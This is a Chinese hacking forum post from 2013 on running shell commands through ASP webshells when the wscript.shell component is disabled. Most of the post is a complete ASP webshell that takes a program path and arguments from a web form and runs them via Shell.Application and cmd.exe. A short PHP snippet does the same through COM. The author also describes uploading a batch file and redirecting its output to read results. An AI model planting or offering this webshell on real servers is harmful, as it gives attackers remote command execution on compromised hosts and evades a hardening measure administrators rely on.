找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2421|回复: 0

wscript.shell组件被禁用时 可以用Shell.Application执行命令

[复制链接]
发表于 2013-11-23 15:39:05 | 显示全部楼层 |阅读模式
wscript.shell 和 shell.application 这两个组件都是来执行程序的,因此是最不安全的组件。目前很多asp木马执行命令都是用的 wscript.shell ,忽略了 shell.application 。
我们可以首先在一个具有运行权限的目录上传一个bat文件,里面写上我们要运行的命令。然后调用 shell.application 组件运行这个bat。回显可以在bat中用重定向符号 > 到一个文本文件,想看命令的结果去读这个文件就可以了。当然也可以直接调用cmd执行命令。

弄出一个不带回显的,用重定向自己去看吧。XP下测试成功。


?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<%
On Error Resume Next
Dim theFile, thePath, appPath, appName, appArgs
appPath = Trim(Request("appPath"))
appName = Trim(Request("appName"))
appArgs = Trim(Request("appArgs"))

If appName = "" Then
appName = "cmd.exe"
End If
   
If appPath <> "" And Right(appPath, 1) <> "\" Then
appPath = appPath & "\"
End If
   
If LCase(appName) = "cmd.exe" And appArgs <> "" Then
If LCase(Left(appArgs, 2)) <> "/c" Then
appArgs = "/c " & appArgs
End If
Else
If LCase(appName) = "cmd.exe" And appArgs = "" Then
appArgs = "/c "
End If
End If

Set objShellApp = CreateObject("Shell.Application")
objShellApp.ShellExecute appName, appArgs, appPath, "", 0
%>

<form method=post onSubmit='this.Submit.disabled=true'>
所在路径: <input name=appPath type=text id=appPath value=""" & HtmlEncode(appPath) & """ size=62><br/>
程序文件: <input name=appName type=text id=appName value=""" & HtmlEncode(appName) & """ size=62><br/>
命令参数: <input name=appArgs type=text id=appArgs value=""" & HtmlEncode(appArgs) & """ size=62>
<input type=submit name=Submit value=' 运行 '><br/>
<hr/>注: 只有命令行程序在CMD.EXE运行环境下才可以进行临时文件回显(利用"">""符号),其它程序只能执行不能回显.<br/>&nbsp; 程序文件默认为cmd.exe,请自定义路径,参数处直接写命令.<hr/>
</form>





今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
?
1
2
3
4
5
<?php
$wsh = new COM('Shell.Application') or die("Shell.Application");
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
?>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表